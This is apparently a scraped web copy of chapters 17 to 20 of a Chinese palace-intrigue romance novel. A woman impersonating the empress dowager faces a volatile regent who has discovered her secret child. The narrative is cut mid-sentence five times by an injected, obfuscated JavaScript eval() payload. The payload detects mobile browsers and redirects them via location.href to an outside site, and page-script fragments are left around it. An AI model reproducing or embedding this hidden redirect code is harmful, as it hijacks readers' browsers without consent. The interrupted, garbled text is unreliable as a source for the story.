朱凝眉手抵着墙站稳,用力踹他,不让他靠近,直到脚心传来凉意,才发现她竟然将鞋踹飞。 愣怔片刻,她红着脸把脚藏进裙子。 李穆却趁机抓住她的脚,她的脚尖被包在他滚烫掌心,隔着层薄袜,她柔软敏感的脚掌被他把玩。 他低下头,凑近她,几乎唇贴着她的唇。 朱凝眉屏住呼吸,心想李穆若敢强吻她,她定会把他咬得满嘴是血! 但李穆却放开了她的脚,轻声道:“再惹怒我,我立刻在此处将你就地正法,让你见识什么是真正的禽兽。” 朱凝眉吓得眼泪汪汪,抿着嘴,下唇微颤,不敢多说一个字,连呼吸也不敢太大声。 看见她落泪,李穆轻叹了口气。 这么爱哭,不知在床上是不是也同样爱哭,他最不耐烦在床上哄爱哭的女人。 这个念头一起,他似乎想到了多年前,有人在看到他身上的伤疤后,为他哭泣过。 她怜惜他,却也嫌弃他,执意在他与成婚的第二日提出和离。 李穆本想求她不要走,可他亲耳听到了那些话。 五年了,李穆已经忘记她的模样,只记得她说话轻声细语,长得白净细弱,一双眼睛怯生生的。 大概因为她们是姐妹,哭起来才有几分相似吧。 李穆倏然离开,弯腰把鞋捡起,半跪在地,伺候她把鞋穿好。 李穆忽然安静下来,让朱凝眉感到不可思议。 鬼使神差般地直觉,促使她问出心中疑惑:“李穆,你认出来我是谁了吗?” “你是不是把头撞傻了!”李穆盯着她额头上的那道疤痕,道:“如果你不是朱雪梅,你早已经死了一万次!” 她为什么如此失望,难道不应该感到庆幸吗? 庆幸她扮演朱雪梅没有丝毫破绽,才能获得他的宽容和隐忍。 朱凝眉含着泪,讽笑道:“你真的爱过朱雪梅吗?如果你真的爱朱雪梅,五年前的你,又怎会朱凝眉为妻?如果你爱朱雪梅,又怎么会在与朱凝眉和离后,转身娶了夏芍?如果你爱朱雪梅,又怎么会在你妻子夏芍的生辰宴上,把朱雪梅堵在偏厅里,借机轻薄她?” 朱凝眉说完这段话,发现她一点都不嫉妒朱雪梅能得到李穆的爱,因为她觉得李穆的爱很廉价。 现在,她打心眼里对这个人产生了反感和厌倦。 她眼中的厌倦,似密密麻麻的针扎在李穆心头。 李穆冷冷地看着她,平静的眼神里藏着雪山即将崩塌的窒息感。 “你真的很介意这些事吗?”李穆疯狂的眼神,让她心头一跳。 “如果你很介意,我会误以为你也如我爱你这般爱我。可你像防贼一样防着我!别用这种眼神看着我,我查出了那件你极力隐瞒的事。” 什么事? 她很快镇定下来。 如果李穆真的查到什么,她能得到的最坏结果,不过是死。 说不定他只是在说狠话诈她,等着她自乱阵脚。 朱凝眉从容地笑了笑:“是吗?你这么厉害吗?难怪先帝谁都不信任,只信任你!来,让我听听看,你都查到什么了?” 她笃定李穆是在套话,才敢如此狂妄。 可她的从容和狂妄落在李穆眼里,却是对他的挑衅和侮辱。 “我查到了那个孽种的身世!” 李穆口中的孽种是谁? 是榕姐吗? 多么讽刺,他把自己的亲生女儿叫作孽种。 她眼底一闪而过的慌乱,让李穆的眼尾染上一层薄红。 “你猜猜看,我怎会查到那孽种身上。” 朱凝眉强颜欢笑:“我猜不到。” “因为你从来都没想过,我究竟有多爱你!” “那日在宣德殿门外,你撞破了头,满脸都是血,可你却说每次来月事的血比那天流的血多。我担心你的身体,让太医每日都去安宁宫给你请平安脉。太医给你把了半个月的平安脉,才发现你大约在四年前生过一个孩子。当年,你因为生子难产而大出血,伤了身子,才会在每月月事来临时止不住血。” 李穆这番话,勾起了她生榕姐时的回忆。 她从小缺乏照料,婚前月事一直不准,有时三个月来一次,有事半年才来一次。 她知道自己怀榕姐时,已经五个月了。 那时她入了道,不能杀生。二来落胎是件险事,容易丢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李穆正常的时候,朱凝眉绞尽脑汁地躲着他,逮住机会就想气他。 现在李穆发疯,她又有些担心起来。 大哥说过,李穆发疯时会胡乱杀人。 她不会被李穆杀死吧。 她入宫扮演朱雪梅的唯一使命,是阻止他发疯。 尽管她不愿意,却不得不安抚他。 人是她逼疯的,烂摊子也该由她来收拾。 17. 第 17 章 白色寝衣脱落在地,莹白如玉的肌肤一览无余地呈现在李穆眼前。 她眉眼灵动,樱桃小嘴红艳艳,莹润着光泽。 声音甜脆,仔细听,却能辨出其中细微的哽咽。 “李穆,现在我是你的。”她冰凉的手指搭在他手腕上,柔嫩的指腹蜻蜓点水般蹭着他的虎口,虎口上的伤疤传来一阵滚烫的灼热,那伤疤是她上次用力咬出来的。 她手指的柔软碰触,像羽毛刷子一样撩拨着他的手腕。 她的声音,也同样让他心痒痒。 她柔软的手指,狡猾地顺着他的手腕内侧往上游走,白净纤细的手指灵巧地钻进他掌心,用力撑开他粗壮的手指,蛇一样钻进他的指缝——与他十指交握。 他的手被她牢牢地握住,就如同他整个人都被她掌控。 这一刻,他想起飞入蜘蛛网中的飞虫。 此刻的他,便如同落入网中的飞虫,而她就是那只等待享用美味的蜘蛛。 她歪着头,用盈盈一水的眼神望着他,趁他不注意时,用她那软嫩如豆腐脑一般的脸,轻触他糙如牛皮的手背。 李穆轻轻吞咽。 他下意识地盯着她莹润丰满的红唇,小巧白皙的鼻尖,看见她抬起另一只手,攀上他的腰。 如果他不在乎她,就一定会忽略她那双风情万种的眼眸里,正在隐忍着委屈和难过。 她分明如此委屈,却还在撩拨他。 为什么? 因为她心中对他产生了恐惧。 这个念头的产生,让已经被撩拨得心猿意马、气血上涌的李穆瞬间石化。 他宁愿她恨自己,也不要他害怕自己。 她眼中的恐惧,照见出他的恶劣。 或许马夫出身的他,注定高攀不到天上的皎皎明月。 刹那间,悲伤和绝望如潮水涌上沙滩般,卷入他的心间,让他再次觉得活着是件糟糕的事。 他把一切都搞砸了! “我暂时不会杀她,你用不着这样讨好我!”李穆看着她鼻尖因为太过紧张而冒出的汗,用力抓住她落在他腰间的手,继续道:“如果你还像以前那样用死来威胁我!如果你继续把自己弄得遍体鳞伤!那么我不介意让你见识我的雷霆手段。” 他用力甩开她的手,怕自己态度不够坚决,会放出心里的那只猛兽,让她再次受到惊吓:“我本来就是个禽兽不如的东西,你越骂我,我越兴奋,我已经习惯了把别人对我的辱骂当作一种抬举。” 因为榕姐的性命受到威胁,朱凝眉已经没心思再去分析李穆颠三倒四的这番话,究竟代表了什么。 她正在反思自己的错。 她后悔自己在宴会上出了一次风头之后,变得有些得意忘形,以至于忘了自己和全家的生死仍然掌控在李穆手中。 还是要有点警觉心理才行,不能因为一时的快乐就放浪形骸。 她毕竟不是真正的朱雪梅,只是个冒牌货,又怎能冒着身份被拆穿的风险,借着朱雪梅的身份去问出那些话? 求生的本能让朱凝眉毫不犹豫地跪在地上,对李穆挤出讨好的笑容。 至少此时此刻,她不敢对李穆有丝毫的恨意。 她把李穆想象成请她去主持丧仪的主家。 她拿出哭丧时的气派,嗓音清亮又不失悲伤,姿态可怜又不失端庄,朝他盈盈下拜。 “多谢侯爷大人大量,愿意放过我们母女。这孩子是我十月怀胎,拿命换来的。就算为了她,我也不会再轻易伤害自己。侯爷,我知道错了,以后绝不会再犯。” 认错的态度,必须要诚恳。 虽然她心里想的是另一回事。 李穆嘴角露出苦涩的笑容,他多么希望她否认孩子的事。可她坦坦荡荡地承认了,而且还愿意为了那个孩子,放下所有尊严,向他求饶。 她那么骄傲的人,居然愿意为了孩子,把尊严抛下。 那孩子的父亲,是她深爱的人吗?那个男子,值得她为他付出到这等田地吗? “孩子的父亲是谁?”李穆疯狂地嫉妒住进她心里的那个人。 “孩子的生父已经死了。我想让她有个清清白白的身世,所以才将她寄养在我兄嫂名下。她不知道自己的身世,求侯爷大发慈悲,不要搅乱他们一家三口的安宁。” 朱凝眉跪在地上,看着李穆脸上不断流出的眼泪,只觉得匪夷所思。 他才是掌握生杀大权的那个人,他有什么好伤心的呢? 为了安抚癫狂的李穆,她继续道:“虽然侯爷现在可能没什么心情,但您日后若是有心情了,安宁宫的大门会永远为您敞开。侯爷别把我当成那种三贞九烈的女子,我什么都放得开。只不过有时脾气不大好,话赶话说到那个份上,难免让您下不了台阶。我知道自己脾气不好,但我以后会改——” 大约疯癫这种疾病,容易被传染,朱凝眉隐约觉得自己也开始发疯。 可她实在没招了。 李穆像一座石峰似的伫立在她面前,沉默不语,但压迫感十足。 他不准备说点什么吗? 如果他什么都不说,她怎么陪他聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493025|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?她还能想出别的话哄他开心吗? 朱凝眉看向书架上的那些书,脑海里疯狂转动,那些书是文人墨客为他歌功颂德所写的传记。 或许,她可以夸他打仗厉害,拍他马屁? 就在她想好措辞,准备开口时,李穆终于说话了。 “最好他已经死了,否则我会将他撕碎了喂狗!” 李穆扔下这句狠话,气冲冲地离开了偏厅。 李穆终于走了! 朱凝眉放松绷紧的肩背,歪倒在地上。 虽然她没能成功地哄好李穆,可她已尽力,以至于她现在已经筋疲力竭,连坐起来把衣服穿好的力气都没有。 怎么办呢? 比起她哄李穆开心,她惹李穆生气的本事显然更胜一筹。 这可不是什么好事。 今日李穆忽然提起榕姐的身世,在她心里敲响警钟。 万一李穆知道榕姐是他女儿,该怎么办? 与大哥朱归禾比起来——不,李穆压根就没资格和大哥相提并论。 榕姐是她生的,虽然她们母女相处的时间很短暂,但朱凝眉就是知道,榕姐一定不愿拥有李穆这样阴晴不定、喜怒无常的父亲。 若榕姐知道李穆是她的父亲,等她再长大一点,就会痛苦于她的父亲为什么不爱她的母亲。 等榕姐再长大一点,遇到心仪的男子,便会不由自主地对他产生怀疑,他是否和我父亲不爱我母亲一样,也不爱我。 朱凝眉自知没能力做个好母亲。 她能为榕姐做到的,只有主动为她选一对彼此相爱,也爱她如命的父母。 夏芍回来时,看到朱凝眉衣衫不整、脸色苍白地倒在地上,慌神片刻。她嘴唇颤抖着,问:“小姐,李穆对你……” 她现在寝衣失踪,只穿了件藕粉色肚兜,头发也被李穆蹭得乱糟糟的,眼中还有残余的惊恐,看起来就像是被欺负过的模样。 朱凝眉不知该如何回答,虽然李穆没有侵犯她,但她感觉自己就和砧板上的肉似的——李穆只是暂时还没有心情享用她。 而她不能再像从前那样反抗。 比起关心朱凝眉的清白,夏芍更关心她光着身子,是否会着凉。 她将寝衣捡起来,服侍朱凝眉穿上。 因为那件玉茗色的襦裙已经被李穆撕碎,夏芍又找了件自己的新衣服给朱凝眉穿上。 朱凝眉重新打扮好之后,心情也恢复平静。 “夏芍,无论你是否相信,我都必须告诉你,我没有做对不起你的事。” 18. 第 18 章 “我没有不信你!” 夏芍爱哭,但凡受点委屈就绷不住泪。 朱凝眉递帕子过去,夏芍用力一扯,故意大声擤鼻涕,试图以此来报复似的。 “你不觉得李穆脑子有病吗?自打先帝生病,宫中便不常举办宴会,李穆见过大小姐几回?他连大小姐的容貌都记不住,究竟喜欢她什么?” 夏芍把手帕丢在一旁,说话鼻音很重:“他有病,我脑子可好使着呢。我又不傻,怎会喜欢他这样一个随时会生气的炸药?” 朱凝眉沉默不语。 因为她就是夏芍嘴里说的那个傻子。 原以为这五年的修行,能让她在面对李穆后心如止水。 可她却不争气的发现,她对他还是有几分心动,很浅很浅——也许让她心动的并非李穆,而是从前那些美好的回忆,哪怕那些回忆本身充满谎言和欺骗。 尤其今日李穆威胁她要杀死榕姐的这番话,让她彻底认识到了李穆的恶。 可爱和憎并不能相互抵消。 当恨意化作苦水与回忆中的甜蜜融合在一起后,只会让她对他的感情更为复杂。 夏芍还在继续唠叨:“小姐,你现在到底是怎么想的,难道你真的愿意放弃李穆?如果你还喜欢李穆,我现在就去找李穆和离。” “哎呀,你现在怎么跟我嫂子似的啰嗦——我不喜欢,我不喜欢,不喜欢他!别问了。” 朱凝眉大声打断夏芍,嘴里说的和心里想的完全不同。 为了转移话题,她问:“书架上那些给李穆歌功颂德的书,谁写的?吹得天花乱坠,说得跟真的似的,我都差点感动了。” 她试图找到证据,说服自己,李穆并不值得被她喜欢。 “我没看过这些书!”夏芍道:“但这些书是先帝命史官写的,不是瞎编的。” “是吗?!” “你听说过严公公吗?他本是先帝心腹,派去北疆监视李穆,后来却被李穆的能力和人品所折服,将他立下的所有功劳整理成册,上呈先帝阅览。先帝认为李穆是个英雄,便吩咐史官将严公公呈回的奏报整理成书,想让后世之人铭记李穆的功劳。” 若那些书出自史官笔下,那她之前的猜测便是错的,李穆便是先帝认可的忠臣。 可小皇帝和大哥为何把他当作乱臣贼子? 难道说,先帝活着的时候,李穆还算正常。先帝死后,他掌握权力,野心膨胀,他心里那些邪恶之念无法压抑,所以才疯了? 当了这半个月的太后,朱凝眉早就有个隐隐约约的念头,李穆是在认真完成先帝向他托孤的遗命。 虽然他做的每一件事,都像是在侮辱小皇帝,但他对小皇帝的功课却始终上心——就凭小皇帝批阅过的奏折,他还要再仔仔细细批阅一遍。 若小皇帝在奏折上乱写,李穆便要罚他把奏折抄十遍! 这哪是乱臣贼子该做的事? 也许他现在所做的事,都是在为小皇帝未来的帝王生涯铺路。 难道只因李穆想当小皇帝的后爹,就能做到这种地步? 不,这不合常理。 李穆若真是十恶不赦的坏人,他杀死小皇帝,强娶太后,有何不可? 也许李穆是在扮演坏人?可他演给谁呢? 先帝早知自己死后,李穆要承担恶名,所以才在临死前命史官为他写书立传?想用这个法子补偿李穆? 李穆和先帝约定的这些事,小皇帝知道吗?朱雪梅知道吗? 李穆虽疯,却不傻,从他对待“朱雪梅”依旧偏执疯狂的态度来看,朱雪梅应该是不知道的。 正因为“朱雪梅”不知道,所以李穆才会那么委屈地说出喝血吃肉骨头熬汤的那番话。 而李穆也无法向“朱雪梅”诉说他的委屈。 她又忍不住想,当年的李穆意气风发地从战场上归来,得到所有的嘉许,收获无数人崇拜的目光后,是怎么看待自己的呢? 他这样一个见过天地众生,从生死之巅走过的人,恐怕朱凝眉在他眼里,的确是不值一提的小人物。 时间也唯有朱雪梅,才能配得上他。 她不得不反思自己,是否应该抛开她和李穆的个人恩怨,与他携手合作,共同辅佐好小皇帝? 回宫的路上,朱凝眉一直在想这件事。 因她心不在焉,下马车后,不小心撞上了正在安宁宫外等她的陆憺。 “母后,您在想什么呢?” “哦——陛下,你怎么来了,今日的书背完了?” “背完了。”陆憺往她手里塞了白瓷瓶,道:“今日李穆不在宫中,儿臣又溜出去玩了。这是儿臣在民间给您找来的祛疤药膏。那道士说,只要您坚持涂药,不出三个月疤痕会自然消退。他还说,若是没用就把头砍下来给儿臣当凳子坐。” 朱凝眉打开瓷瓶,闻了闻,不知该心疼陆憺被人骗,还是该向他们炫耀下她在医术上的造诣。 她入道后,什么都学了点,学得最精的是道医。 就连师父都夸她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502100|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在医术上天赋极好,其他师兄钻研医术至少得十年才有小成,可她只学了五年便已超越师兄们。 瓷瓶里装的是普通蜜蜡,蜜蜡里放了点薄荷和次等沉香,蜜蜡倒也能祛疤,只是功效聊胜于无。 严格说来,那位道友不算是骗人。 “让你们费心了,这药闻着就味道清爽,想必祛疤效果也不错。”她看着陆憺和梅景行,温温柔柔地笑了笑。 她笑起来,有种清水出芙蓉,天然去雕饰的美。 恰在此时,一阵微风吹来,拨动她发间的流苏,流苏缓缓拂过她白皙的脖颈。 一瞬间,陆憺和梅景行都有些失神。 梅景行最先回过神来,他道:“陛下担心宫里的药中规中矩,祛疤效果反而不如民间,才费尽心思找来这瓶药。娘娘先用一段时间,若这药膏没有用,奴婢一定去宰了那牛鼻子老道。” “行,那我便收下了。我一定早晚涂药,早日将额头上的疤痕去掉,你也别为难那道士。”朱凝眉道:“他收了你多少钱?若这药无效,你最多让他把银子退给你就行了。” “倒也没多少钱。娘娘放心,我答应您,不会为难他。”梅景行对自己说出的话,感到诧异。 每次都是这样,只要她用这种软软的声音求他,他什么都能答应。 她仿佛在说话的声音里,掺杂了什么蛊惑人心的药,又或者她学会了摄魂术,才会让他心甘情愿答应她的所有要求。 朱凝眉感激道:“谢谢你!” 梅景行笑道:“娘娘对我这般客气,是又把我当外人了。” 朱凝眉展颜一笑:“你是陛下的心腹,我当然拿你当自己人。你和陛下去忙吧,我会按时擦药的。” 梅景行还要问她关于大长公主的事,却被陆憺一个眼神给阻止。 两人目送朱凝眉踏入安宁宫。 回乾元殿的路上,梅景行问:“今日在忠勇侯府的宴席上,她把大长公主气病了,陛下难道不想责备她?” 陆憺才十四岁,已经眼神锋锐。 此时的他,与在朱凝眉面前的他,判若两人。 “朕看到她额上的疤,便想起那日她为朕拼命时的模样。换成姑母,未必如她这般肯为朕拼命。姑母待我好,朕是知道的,可她待秦王叔也极好。姑母在朕和秦王叔之间摇摆不定,可太后却在朕和李穆之间,坚定地选择朕。就凭这点,朕也不愿苛责于她。” 梅景行诧异了一瞬,又问:“请恕奴婢愚钝,陛下打算让秦王何时入京?” 19. 第 19 章 “朕想让秦王叔明日入京,你能做到?”陆憺见梅景行为难地跪在地上,把他扶起来,继续道:“打扮,有些事是急不来的。朕现在空有个皇帝的名头,什么也做不了主。” 甚至连出宫都得瞒着李穆,从狗洞里爬出去! 此刻的他,眼神锋锐。 恐怕朱凝眉见到他这模样,对他感到陌生吧! 陆憺总是在朱凝眉面前,伪装成天真少年。 因为他知道,朱凝眉在愧疚什么! 她做梦都想当个好母亲,于是陆憺便向她索要母爱,而她心甘情愿地给予他母爱。 但凡他与李穆发生争执,她都会毫不犹豫地帮他。 当然,他也很感激朱凝眉的付出。 将来,等他杀了李穆,从李穆手里夺回所有权力,他自然会好好报答她。 恰巧她也恨李穆,他帮她杀了李穆,她也会感激他的,不是吗? “梅景行,姑母今日受了委屈,你替朕去瞧瞧她吧。也顺便帮朕劝劝她,让她别再和母后争执。” “是,陛下,奴婢这就去。” 大长公主府。 梅景行跪在大长公主面前,道:“大长公主,陛下听说今日太后与李穆合起伙来欺负您,让您受委屈,气得差点要去找李穆拼命!奴婢挨了好几个巴掌,才拦住陛下。” “我总算是没有白疼他!” 想到自己今日在宴会上丢人,大长公主便咽不下这口气:“朱雪梅回宫后,陛下可否斥责她?今日她在忠勇侯府的行径,我都替她感到羞愧。” 大长公主给梅景行赐座,摆出要与他详谈架势。 梅景行长长地叹口气,惆怅道:“如今李穆把她看得像眼珠子似的,陛下哪敢斥责她?好歹他们是母子,想必李穆看在她的份上,也会对陛下多几分照拂吧。” 大长公主听他这样说,急道:“陛下是九五之尊,怎能任由李穆一个乱臣贼子拿捏住?朝廷里哪些辅助大臣呢?难道他们就想不出一点办法来对付李穆?” “他们也束手无策。五年前,先帝圣体欠安,恰逢李穆得胜归来,先帝便对他寄予众望。后来先帝病情越发严重,对李穆的依赖与日俱增。奴婢也觉得奇怪,陛下为何宁可信任李穆,也不愿信任秦王——”梅景行仿佛觉得自己话太多,立即住嘴,笑得一脸尴尬。 梅景行这几句,总算说到大长公主心坎里,她怒骂道:“那时因为先帝病糊涂了,放着安稳日子不过,偏要削藩!弄得好几个藩王都想造反。” 梅景行有些为难地道:“奴婢也认为先帝在削藩之事上考虑欠妥。可先帝临终前,还在叮嘱李穆,让他今后务必继续推行削藩之事。为此,先帝甚至同意让太后改嫁李穆。” “先帝当真说过这句话?”大长公主惊诧道。 梅景行颔首道:“是,当时唯有陛下、李穆和奴婢在场。但奴婢始终觉得,李穆始终是外人,不值得先帝如此信任。若先帝当时便把秦王召回来,陛下便有亲叔父护着,何至于受李穆欺凌呢?” 大长公主冷笑道:“太后嫁给臣子为妻,这要是被史官记录下来,恐怕连后世子孙也要被耻笑!” “所以陛下让奴婢来开解您,劝您莫与太后为敌,您得帮着陛下说服太后,让太后别被李穆哄住。只要太后不答应,李穆便不能娶她!” “本宫也想好好和她说话,可她现在看见本宫,就跟看见仇人似的。”大长公主叹气:“从前先帝还在的时候,本宫是得罪过她几回,可那都是八竿子打不着的陈年老黄历了,她有必要记仇到如今吗?” “无论如何,大长公主还是得跟太后早日和解,陛下才能放心。”梅景行顿了顿,又道:“如今太后只有陛下一个孩子,便事事都以陛下为先。若将来太后娘娘有了李穆的骨肉呢?到时候江山还能姓陆吗?陛下深知其中利害,也和大长公主一样,盼着秦王早日进京呢!” 说罢,梅景行对一旁的干儿子施翎使了个眼色。 施翎立即捧着一个黑漆戗金云龙纹箱过来。 梅景行把箱子打开,道:“这是陛下为您准备的礼物。” 箱子里面是一套玉翠琉璃镂雕花空头饰,一看就工艺非凡,价值不菲。大长公主爱不释手地轻触着头饰上的精美纹路,心里的喜悦快要溢出来。 朱雪梅再狂妄又如何? 侄子和她都姓陆,他们才是一家人,朱凝眉始终是外人。 然而,梅景行话锋一转,又道:“陛下吩咐您,改日进宫时把这套头饰当作赔罪礼物送给太后。” “什么?”大长公主不妨他会说出这句,嘴角笑容凝滞,铁青着脸。“这是送给她的?” 刚才她看到这副头饰,还以为是侄子送她的礼物。朱雪梅那个贱人,配得上这么精美的头饰吗? “陛下说,您是陛下的姑母,她是陛下的母亲,陛下希望看到你们和和气气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508753|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”梅景行表情严肃,一字一句地道:“陛下还说,她有李穆护着,您无论如何都斗不过她。既如此,何必要上赶着被她羞辱?” “我——”大长公主怔忡着,说不出半个字。她就算再糊涂也明白了,皇帝是向着朱雪梅的。 “陛下的担忧,本宫明白了。你让他还是多考虑考虑秦王入京的事吧!”大长公主把盒子盖住,让身旁的下人拿走。 梅景行站起来,躬身道:“时候不早了,奴婢还得回宫伺候陛下,先告辞了。” 回宫的路上。 施翎笑着拍马屁:“干爹,您这礼物送得可真高明。儿子方才瞧着大长公主脸色都变了,她定然不会和太后娘娘服软,说不定会更恨她!” “先帝让李穆发誓,不许他动大长公主。可大长公主这颗毒瘤不拔,留着对陛下没有任何好处。”梅景行笑了笑,双眸如静谧幽潭般深不可测:“你亲自盯着长公主府的动静,本座只是想借李穆的手,除了大长公主,别叫大长公主把她给伤了!” 施翎有些担忧:“大长公主手段狠辣,儿子就算保护得再周密,也难免防不胜防。干爹,儿子实在不敢打包票。” 梅景行拍拍他的肩膀,安慰道:“也不用太害怕,这次我会帮你。你只需要盯着就行,一旦有什么风吹草动,让人立即通知我。先杀大长公主,再杀秦王,再除去李穆,陛下的龙椅才能坐得安稳。等陛下坐稳皇位,我也该隐退了。只以你如今的能力,担任司礼监大总管还有所欠缺,快点成长起来吧。” 施翎擦了擦冷汗,眼眸中没有对未来生活的美好向往,只有害怕任务无法完成的恐惧。 干爹对他的另一个干儿子史亮也说过这样的话,后来史亮因为没有找到失踪的真太后,被干爹罚去洗马桶,到现在还没回来。 转眼便到六月初一。 这日是小皇帝的生辰,因他还未及冠,也未亲政,按规矩不便举办千秋宴。 这天李穆便给小皇帝举办了个家宴,只请了大长公主全家,朱归禾全家来宫中赴宴。 听到李穆要请兄长全家来赴宴,朱凝眉心里是不愿意的,她没办法想象李穆和榕姐见面会是个什么情形。 她在梅景行面前,从来都不藏着,把心思全部写在脸上,唯恐旁人不能将她一眼看穿。 梅景行见她百结愁肠,笑道:“太后娘娘不必紧张,李穆请您兄长全家来宫里赴宴,也是怕你在宫中寂寞。” 20. 第 20 章 朱凝眉幽幽地看一眼梅景行,叹气之后再叹气! 山中猛兽会收敛气息,安静地躲在隐秘处观察丛林里觅食、嬉戏的小动物。 此刻,她是那只晃悠着尾巴低头拾栗的小松鼠。李穆是站在险峰上巡视的鬣狗,梅景行是躲在灌木丛里的狐。 狩猎者怎么会明白猎物的难处? 她视死如归地道:“带路吧!” 果然,当她踏入乾元殿后,李穆便用那种似笑非笑的眼神,欣赏着她的无奈和窘迫。他那恶劣的打量,让她心里猛地一沉。 与此同时,榕姐从朱归禾身旁飞奔着朝她跑来,向她张开双手:“太后姑母!” 朱凝眉蹲下,抱住了榕姐。 榕姐又重了,圆圆的脸颊红扑扑地,越来越招人喜爱。 榕姐悄悄把头埋在朱凝眉的肩上,小声说:“姑母,坐在憺哥哥身旁的那个坏蛋,我讨厌他!” 朱凝眉扑哧一笑,做贼似的看向李穆。 他正好也在看她,凉凉的眼神,把朱凝眉看得头皮发麻。 糟糕,习武之人听力敏锐,他听见了榕姐的话。 梅景行在一旁提醒:“太后娘娘,请您入座吧,大长公主和福康县主正等着给您行礼呢。” 她撇开眼神,不看李穆,抱着榕姐落座 大长公主和福康县主这回按照宫规磕头,向她行了个标准的肃拜礼。 她们母女这样规规矩矩,倒让朱凝眉不知如何应对。尤其大长公主向小皇帝献生辰礼的同时,也给朱凝眉献了副精美头饰。 朱凝眉收到礼物,惊讶得嘴巴半天都没阖上,她求助地看向陆憺。 陆憺笑道:“看来母后很喜欢这份礼物,激动得都忘了叫姑母起身。” 朱凝眉这才回神,叫大长公主起来。 大长公主看向她怀里的榕姐,夸赞道:“好漂亮的小姑娘!”说完,又笑着奉承道:“都说侄女肖姑,小姑娘长得这么像太后,将来也是个有福气的。” 朱凝眉来不及想大长公主这话是真心还是假意,便觉得后脖子凉飕飕地。 李穆看着榕姐,轻笑着对她招手:“过来,让我瞧瞧究竟有多像!” “偏不给你瞧!” 榕姐搂着朱凝眉的脖子不撒手,头扭到一旁,叫李穆看不到她的脸。 大长公主心里正堵得慌,忽见李穆和太后之间闹了矛盾不对付,着实痛快了不少。随之又冒出来个火上浇油的念头—— “瞧瞧,就连这脾气也像她姑姑!我至今仍清楚地记得,当年皇兄第一回见着太后时,便对她动了心。皇兄问她‘你愿不愿意当朕的皇后’太后丝毫不顾先帝的颜面,当着众人一口回绝,反倒惹得先帝更放不下她。” 朱雪梅第一次进宫时,李穆正潜伏在北疆当马奴。 北疆西面是千里荒芜,不见人烟。为了绘制出完整的北疆地图,李穆必须骑马踏遍北疆所有地域。 荒漠里偶有湖泊,可湖里的水只有畜生能喝,人喝了会闹肚子。 李穆深入荒漠已有二十余日,早已把带来的水喝完。渴得喉咙火烧火燎时,李穆喝过马尿,也喝过人尿。 最后,马和人都没尿,他渴得头脑晕眩,产生幻听。 耳边有声音说:“你安心地躺下吧,会有比你更好的男子给她幸福。” 是谁在说话? 李穆吓得睁大眼睛左右环顾,可四周依旧是荒漠戈壁,茫茫千里,没有人烟。 李穆不想死,于是拿出刀,在马背上划开一刀,放出马血给自己润喉。 马早就渴得不行,受伤后更是尥蹶子躺在地上。 马快要不行了,李穆舍不得杀它,含泪将马的身埋进沙中,又割开掌心挤出点血给马润喉。 李穆那点血,远不能让马活下去,但他却存着最后一丝幻想。 许是老天爷听到了李穆的祈求,才会在第二日化成一场甘霖降在荒漠。李穆淋着瓢泼大雨雨,高高兴兴地回头找马。 马还活着,他拥着马,喜极而泣。 人和马都喝饱水,又撑了三日,终于走出荒漠。 恰巧那日,朱雪梅戴着凤冠受封为后。 大长公主的话,让李穆想起那些痛得浑身颤抖的日子,他似笑非笑地看向大长公主身旁的福康县主,气定神闲地说出一句恶劣的话。 “你瞧,她跟舒奕长得也像!” 福康县主听到这句,脸色大变,她看向舒奕,又看看榕姐和朱凝眉,脸憋得通红。 原来他今日把榕姐叫进宫,是存了这样的心思。 福康县主是有名的醋坛子,李穆这样问福康县主,分明是故意的! 朱凝眉忍住翻白眼的冲动,李穆居然怀疑榕姐是姐姐和舒奕的私生子,还想引福康县主去怀疑此事? 他觉得这样就能证明他的猜测吗?荒唐! 何必如此迂回呢? 在北疆战场上不是挺厉害的吗?回京城反而变得如此胆小,竟不敢当着她的面问,孩子是不是舒奕的。 “忠勇侯,您的眼睛在打仗时受过伤吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 